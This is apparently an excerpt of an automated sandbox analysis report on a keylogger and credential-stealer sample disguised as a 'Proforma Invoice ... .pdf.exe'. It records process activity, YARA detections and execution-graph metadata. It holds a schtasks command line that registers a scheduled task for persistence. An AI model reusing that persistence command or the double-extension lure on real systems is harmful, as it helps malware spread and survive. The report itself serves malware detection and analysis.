Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	03:44:40
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp5F82.tmp"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	03:44:40
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	03:44:40
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Imagebase:	0x140000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	03:44:40
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Imagebase:	0x420000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	03:44:40
Start date:	17/10/2024
Path:	C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\Proforma Invoice_21-1541 And Packing List.pdf.exe"
Imagebase:	0x4d0000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 00000009.00000002.4178805615.0000000002871000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 00000009.00000002.4178805615.00000000029F2000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 00000009.00000002.4178805615.0000000002974000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	03:44:42
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
Imagebase:	0x40000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 66%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	11
Start time:	03:44:44
Start date:	17/10/2024
Path:	C:\Windows\SysWOW64\schtasks.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\schtasks.exe" /Create /TN "Updates\vrhZELiHpiub" /XML "C:\Users\user\AppData\Local\Temp\tmp6EA5.tmp"
Imagebase:	0xd00000
File size:	187'904 bytes
MD5 hash:	48C2FE20575769DE916F48EF0676A965
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	12
Start time:	03:44:44
Start date:	17/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7699e0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	03:44:44
Start date:	17/10/2024
Path:	C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Roaming\vrhZELiHpiub.exe"
Imagebase:	0x720000
File size:	685'568 bytes
MD5 hash:	735A7DF205549792227DE19741161BF4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: Windows_Trojan_SnakeKeylogger_af3faa65, Description: unknown, Source: 0000000D.00000002.4175064237.0000000000423000.00000040.00000400.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.4179084969.0000000002C32000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_SnakeKeylogger, Description: Yara detected Snake Keylogger, Source: 0000000D.00000002.4179084969.0000000002B31000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_VIPKeylogger, Description: Yara detected VIP Keylogger, Source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_TelegramRAT, Description: Yara detected Telegram RAT, Source: 0000000D.00000002.4175064237.0000000000434000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	11.9%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	3.2%
Total number of Nodes:	555
Total number of Limit Nodes:	41

Executed Functions

Function 0727C09C Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 556
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 072750E8: GetProcessWindowStation.USER32(?,?,?,?,00000E20,?,?,0727D873), ref: 07275145

GetCapture.USER32 ref: 0727D916
GetActiveWindow.USER32 ref: 0727D98E

Strings

Hbq, xrefs: 0727DD37
Hbq, xrefs: 0727DC7D

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Window$ActiveCaptureProcessStation
String ID: Hbq$Hbq
API String ID: 2779997428-4258043069
Opcode ID: 0e4c5491c5649b83b0f52595d140bf06406f07d4145c53dcb12c17ec01b78a46
Instruction ID: d6ffcbde4b76f940ea198d6a913a25ff89b074c3f0f9eb457a44a57abf816c33
Opcode Fuzzy Hash: 0e4c5491c5649b83b0f52595d140bf06406f07d4145c53dcb12c17ec01b78a46
Instruction Fuzzy Hash: 6F225DB0B102198FDB14EBB9C550AAEBBF6BFC8300F248169D505AB395DF359D42CB51

Function 0727D7B1 Relevance: 3.3, APIs: 2, Instructions: 316
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 072750E8: GetProcessWindowStation.USER32(?,?,?,?,00000E20,?,?,0727D873), ref: 07275145

GetCapture.USER32 ref: 0727D916
GetActiveWindow.USER32 ref: 0727D98E

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Window$ActiveCaptureProcessStation
String ID:
API String ID: 2779997428-0
Opcode ID: d154ef4c1728f9e85b8825d45b866e7c5b073697d72f9a7d4e5473966f2bdc3b
Instruction ID: 6dc7f2bee80d6b29f7be8ac4a950e59c557ed5a90e37ccaff291a94489811288
Opcode Fuzzy Hash: d154ef4c1728f9e85b8825d45b866e7c5b073697d72f9a7d4e5473966f2bdc3b
Instruction Fuzzy Hash: 2AD130B0E10219CFDB25DFB5CA54A9DBBF2FF89304F248269E405AB251DB31A985CF50

Function 0B0634F0 Relevance: 1.9, Strings: 1, Instructions: 696COMMON

Download Yara Rule

Strings

fff?, xrefs: 0B063B67

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: fff?
API String ID: 0-4136771917
Opcode ID: fea517def5b6dc8e4a3495e688a7fdb44425e5933eb2b445de14db6a9c4f078b
Instruction ID: c50d57e3f50e2b3684830e8c779e4a8f919a9a7c8b6cc3ffc261ea5f405b9109
Opcode Fuzzy Hash: fea517def5b6dc8e4a3495e688a7fdb44425e5933eb2b445de14db6a9c4f078b
Instruction Fuzzy Hash: C7624936810A1ADFCF11DF50C884AD9B7B2FF99304F1586D5E9086B125E771AAD6CF80

Function 0737ACE9 Relevance: 1.9, APIs: 1, Instructions: 369COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 13b6842450e5824914aa888e8237fecb366d2105e8edf0e8f5beff0ee562fdf0
Instruction ID: 834dd11a31499c6807925c3338d65b782a6bd2829e43f9ce52da38c4c1c6bb34
Opcode Fuzzy Hash: 13b6842450e5824914aa888e8237fecb366d2105e8edf0e8f5beff0ee562fdf0
Instruction Fuzzy Hash: F0E15EB0A00209CFEB24DFA9C948BADFBF2BF49304F15C559E409AB261DB79D945CB41

Function 072744EC Relevance: 1.8, Strings: 1, Instructions: 555COMMON

Download Yara Rule

Strings

LR^q, xrefs: 07275ECD

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: LR^q
API String ID: 0-2625958711
Opcode ID: d5c85f7dbdd295acddf54d118d4e337077679955012457afeed20c348ec4d23c
Instruction ID: b598d44dfb8452dd95644e89944a664f28480a1fe9f0c21be064a6c68cbaa202
Opcode Fuzzy Hash: d5c85f7dbdd295acddf54d118d4e337077679955012457afeed20c348ec4d23c
Instruction Fuzzy Hash: 9A324DB0B002198FDB58EF29C9547EDB7F2AF88704F1481A895099B3A5DF359D82CF91

Function 0727655E Relevance: 1.8, Strings: 1, Instructions: 543COMMON

Download Yara Rule

Strings

4'^q, xrefs: 07276DB7

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: 4'^q
API String ID: 0-1614139903
Opcode ID: 0627f39208f9027a002bb7ff52ec5487aa0906c07bc7c50a66cf5b69f5bdabd1
Instruction ID: 9b798e2872c6bd9370c68f18c27e3a8b6f59b9a80fa2e404f9c557bd6e84cd9d
Opcode Fuzzy Hash: 0627f39208f9027a002bb7ff52ec5487aa0906c07bc7c50a66cf5b69f5bdabd1
Instruction Fuzzy Hash: 8B42F774A00218CFCB18EF28C995AD9B7F2FF89705F1581E9D509AB361DA31AD81CF61

Function 0B06E390 Relevance: 1.7, Strings: 1, Instructions: 431COMMON

Download Yara Rule

Strings

Hbq, xrefs: 0B06E412

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID: Hbq
API String ID: 0-1245868
Opcode ID: 58fc10b54230408be8242a757234a9832c23e346c97ebef6ac6f89ba5619a5b0
Instruction ID: a04f7be8f05e8640fb53a0717e5259b8bf75c643ad6a8a5e947be4147d1b5d08
Opcode Fuzzy Hash: 58fc10b54230408be8242a757234a9832c23e346c97ebef6ac6f89ba5619a5b0
Instruction Fuzzy Hash: 35E1FE717007008FDB29EB75C550BAEB7E6AF89780F14886DE14ACB291DF35D806CB52

Function 07275778 Relevance: 1.7, Strings: 1, Instructions: 421COMMON

Download Yara Rule

Strings

, xrefs: 072798EE

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID: 0-3916222277
Opcode ID: 38e12309e60514f450a56f8e1eaf9027efe3a0bd4360ebcd72a41a4dc1c3ac34
Instruction ID: 990360ac58ddaca2f5caabfd94cde9b3f67888f612af45dda5c541942b3d1313
Opcode Fuzzy Hash: 38e12309e60514f450a56f8e1eaf9027efe3a0bd4360ebcd72a41a4dc1c3ac34
Instruction Fuzzy Hash: 99021A71E1021ACBDB14EF64C954BEDB7B2AF89300F10869AD44A6B290DF70AEC5CF51

Function 0B062870 Relevance: .6, Instructions: 635COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3f75f9809a5e68c73ad1bc7b53610e051cf8dcb4bf606ae3236b9e08db6af92e
Instruction ID: 2fe1a75b0448aa61228aedce8e282085b8bbdb3f439394614a59dcc53ab640bc
Opcode Fuzzy Hash: 3f75f9809a5e68c73ad1bc7b53610e051cf8dcb4bf606ae3236b9e08db6af92e
Instruction Fuzzy Hash: 1C524735900619CFDB65DF64C854AE9B7F2FF89340F1585E9E409AB261EB31EA82CF40

Function 0B0666A1 Relevance: .5, Instructions: 522COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1775247501.000000000B060000.00000040.00000800.00020000.00000000.sdmp, Offset: 0B060000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b060000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1480ac1d875bcf782d924406473de6fc056e16b42fd7bc3727ea218ac8c58243
Instruction ID: ff89c28d46b8e6b1f92373146958dc2ae2ac59f2388d4407adca213f6a2d29a8
Opcode Fuzzy Hash: 1480ac1d875bcf782d924406473de6fc056e16b42fd7bc3727ea218ac8c58243
Instruction Fuzzy Hash: 97322531A00619CFDB25DF64C944BD9B7F2FF89344F1585E9E809AB221EB71AA85CF40

Function 053CBC17 Relevance: .1, Instructions: 119COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2341900f8087b8b98e5167adb09555486752a435d1dd2b2edc761005c777517
Instruction ID: 6f765aba3dcfeb7182ff08f9ca7704fe0c444ec7c5f1bad7c87c7066dd253cf1
Opcode Fuzzy Hash: d2341900f8087b8b98e5167adb09555486752a435d1dd2b2edc761005c777517
Instruction Fuzzy Hash: E04136B0D092098FDB04CFAAD4556AEFFFAAB89301F54D0AAE409A7251DB384E41CF54

Function 053CC490 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1772980852.00000000053C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 053C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_53c0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f33e1b29214e2435a831ff6007187cef68877625f065ad5ba7532986ad2924f5
Instruction ID: 517fffea87d4a9faef0523b07ec257ea0abae9c557953ef5a26a1f8fcaa70484
Opcode Fuzzy Hash: f33e1b29214e2435a831ff6007187cef68877625f065ad5ba7532986ad2924f5
Instruction Fuzzy Hash: 3F317E71D042188BDB08CFAAC8402EEBFBBBF89310F14D5AAD41DB3261DB341D068B90

Function 00A5D111 Relevance: 6.1, APIs: 4, Instructions: 131
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00A5D19E
GetCurrentThread.KERNEL32 ref: 00A5D1DB
GetCurrentProcess.KERNEL32 ref: 00A5D218
GetCurrentThreadId.KERNEL32 ref: 00A5D271

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 122ead7cea47e09e1e921f2786e34c324f49b25498493d7bb31944dbfcc47568
Instruction ID: ba199e78bc803fe95295e09a2316359a64190041265f1a4df029a86c569c55a9
Opcode Fuzzy Hash: 122ead7cea47e09e1e921f2786e34c324f49b25498493d7bb31944dbfcc47568
Instruction Fuzzy Hash: 9C5136B09006498FDB14CFA9D548BEEBBF1BF88304F24C459E459A7360DB749988CF65

Function 00A5D120 Relevance: 6.1, APIs: 4, Instructions: 128
threadCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32 ref: 00A5D19E
GetCurrentThread.KERNEL32 ref: 00A5D1DB
GetCurrentProcess.KERNEL32 ref: 00A5D218
GetCurrentThreadId.KERNEL32 ref: 00A5D271

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Current$ProcessThread
String ID:
API String ID: 2063062207-0
Opcode ID: 93e41f77a27b1f28758dbed5bdf56dbdaf72e7611e1701bf6264ea3baf01ad5c
Instruction ID: 906acff6f6bacd5e0ffaa240d202a808b4fe2274ec9b651ff53a10129af6f638
Opcode Fuzzy Hash: 93e41f77a27b1f28758dbed5bdf56dbdaf72e7611e1701bf6264ea3baf01ad5c
Instruction Fuzzy Hash: 465145B09006098FDB14DFAAD548BDEBBF1BF88304F20C459E459A7360DB749988CF65

Function 073727C0 Relevance: 3.1, APIs: 2, Instructions: 98
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFocus.USER32 ref: 07372826
KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 07372877

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherFocusUser
String ID:
API String ID: 1077007772-0
Opcode ID: c32e077411cb4224f5fcbf694e0142f6171ae3a92392d269777b61ff836055ca
Instruction ID: 722c7c4a3a458c78df45b83f95850e5b459376ec1e9b4ac2c0f3997eae250f72
Opcode Fuzzy Hash: c32e077411cb4224f5fcbf694e0142f6171ae3a92392d269777b61ff836055ca
Instruction Fuzzy Hash: 4D314FB1E002259FDB209F69C544AAEBBB5BF48710F154459E909EB351CB35DC44CBD1

Function 073727B0 Relevance: 3.1, APIs: 2, Instructions: 75
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFocus.USER32 ref: 07372826
KiUserCallbackDispatcher.NTDLL(?,00000000), ref: 07372877

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherFocusUser
String ID:
API String ID: 1077007772-0
Opcode ID: 3ae5a012fc39f5a5ee025e2de83aee43beb3bdae8d17a5cb220a2b47707f4798
Instruction ID: bcb5a247de6ec4c2c84fe4d6e83ef077921680b31921d3069febeed4cf0856fa
Opcode Fuzzy Hash: 3ae5a012fc39f5a5ee025e2de83aee43beb3bdae8d17a5cb220a2b47707f4798
Instruction Fuzzy Hash: E0215CB5D042999FDB218FA9C5447AEFFB4FB08710F1481AAD808A7351C335A945CFA1

Function 0727205C Relevance: 1.8, APIs: 1, Instructions: 251processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0727229E

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 010ae2048cb84dc4e1fc427f51ae713fe9353d9c5e259fdfd9870af5acac4f92
Instruction ID: 1b0aa53c3f3d360841011c819c8be909c956d047dfb65d83d5da3ca4a11be087
Opcode Fuzzy Hash: 010ae2048cb84dc4e1fc427f51ae713fe9353d9c5e259fdfd9870af5acac4f92
Instruction Fuzzy Hash: 5AA148B1D1021ADFDB24CF68CA417EDBBF2BB48314F1481A9E818A7250DB749985CF92

Function 07272068 Relevance: 1.7, APIs: 1, Instructions: 243processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32(?,?,?,?,?,?,?,?,?,?), ref: 0727229E

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 7f25b0d456f22b61cd9fa055efe043c84408612046ee9f6bf815b5d638450e73
Instruction ID: f088b6fe9821328fef21b777c8a11c4fc672d15c3823a1ea099d4fa37dcc54a8
Opcode Fuzzy Hash: 7f25b0d456f22b61cd9fa055efe043c84408612046ee9f6bf815b5d638450e73
Instruction Fuzzy Hash: 709138B1D1021ADFDB24CF68C9417EDBBF6BB48314F1481A9E818A7250DB749985CF92

Function 00A5AE78 Relevance: 1.7, APIs: 1, Instructions: 232COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 00A5B0DE

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: HandleModule
String ID:
API String ID: 4139908857-0
Opcode ID: 69ec8f8074eaed935129d3d7d7541be05734c7f2c56007508a6c600af6a521b9
Instruction ID: c9bb3189e775eff7ddafc3997d00219350b42aeea41f5cb1624b591f13a53cab
Opcode Fuzzy Hash: 69ec8f8074eaed935129d3d7d7541be05734c7f2c56007508a6c600af6a521b9
Instruction Fuzzy Hash: 6D917870A00B458FD725CF29D55179ABBF1FF88305F048A2EE88AC7A51D735E849CB91

Function 04DE0BA0 Relevance: 1.7, APIs: 1, Instructions: 168COMMON

Download Yara Rule

APIs

KiUserCallbackDispatcher.NTDLL(00000014,?,?,03794128,027B0A0C,?,00000000), ref: 04DE0CFE

Memory Dump Source

Source File: 00000000.00000002.1772410012.0000000004DE0000.00000040.00000800.00020000.00000000.sdmp, Offset: 04DE0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4de0000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: CallbackDispatcherUser
String ID:
API String ID: 2492992576-0
Opcode ID: 6a9754675c427db3bd801cb431467e904b451522b80b89f1f662446550c3d110
Instruction ID: a3b694241601da3ea924a92a55c2ce566f94be8f2696005cd5215ba31f9ac315
Opcode Fuzzy Hash: 6a9754675c427db3bd801cb431467e904b451522b80b89f1f662446550c3d110
Instruction Fuzzy Hash: 12717D74A01218AFCB15EF6AD484DAEBBB6FF48714F114498F905AB361DB71E881CB50

Function 00A55914 Relevance: 1.6, APIs: 1, Instructions: 97COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00A559D1

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3bcc30d4065ef4741e53500abb48b9d8bc918f1100d9b8c41d6463d89cd80339
Instruction ID: 00919ffd51411a3fbfc64cb658143e436cde8ddf540112267181989775e6004d
Opcode Fuzzy Hash: 3bcc30d4065ef4741e53500abb48b9d8bc918f1100d9b8c41d6463d89cd80339
Instruction Fuzzy Hash: 9941F5B0C0061DCFDB24CFA9C894BDEBBB5BF45304F24806AD808AB255D775694ACF90

Function 00A544C4 Relevance: 1.6, APIs: 1, Instructions: 96COMMON

Download Yara Rule

APIs

CreateActCtxA.KERNEL32(?), ref: 00A559D1

Memory Dump Source

Source File: 00000000.00000002.1769243295.0000000000A50000.00000040.00000800.00020000.00000000.sdmp, Offset: 00A50000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_a50000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: Create
String ID:
API String ID: 2289755597-0
Opcode ID: 3760581993a767fab959a4cccb5fa5009326dd17e1a7a78299d8aa9957ca28d2
Instruction ID: 528074bcce66167fbc7a4db41aa76541865e889c88937c1c7ec987b47623e206
Opcode Fuzzy Hash: 3760581993a767fab959a4cccb5fa5009326dd17e1a7a78299d8aa9957ca28d2
Instruction Fuzzy Hash: 9541D1B0C0061DCFDB24DFA9C944B9EBBB5FF48304F24806AD809AB255DB756949CF90

Function 0737B2F0 Relevance: 1.6, APIs: 1, Instructions: 95COMMON

Download Yara Rule

APIs

GetActiveWindow.USER32 ref: 0737B36B

Memory Dump Source

Source File: 00000000.00000002.1774333355.0000000007370000.00000040.00000800.00020000.00000000.sdmp, Offset: 07370000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7370000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ActiveWindow
String ID:
API String ID: 2558294473-0
Opcode ID: 9b49e70f03a3c7f793e132052744900a0d6f50fac3594ffe325c0dc8e8b55489
Instruction ID: 0f62585fb5289b6988ebe227e053d4208dc07dd14558f19ad715fcf537f59f56
Opcode Fuzzy Hash: 9b49e70f03a3c7f793e132052744900a0d6f50fac3594ffe325c0dc8e8b55489
Instruction Fuzzy Hash: ED31ABF1900219CFFB20DFAAC9897AEFBB4FB45304F24842AD559A3640C7799189CF61

Function 07271B30 Relevance: 1.6, APIs: 1, Instructions: 87threadCOMMON

Download Yara Rule

APIs

ResumeThread.KERNEL32 ref: 07271BFA

Memory Dump Source

Source File: 00000000.00000002.1774294080.0000000007270000.00000040.00000800.00020000.00000000.sdmp, Offset: 07270000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7270000_Proforma Invoice_21-1541 And Packing List.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 4be22c3344e92d80338829a358f695e28c40efe11c1f9b6fa675888d5b7ff36b
Instruction ID: 8f473bd70ba2a21b3ae4ba32a9d5be0e9a71f424414fc91a0c1fa1007fbc2bc8
Opcode Fuzzy Hash: 4be22c3344e92d80338829a358f695e28c40efe11c1f9b6fa675888d5b7ff36b
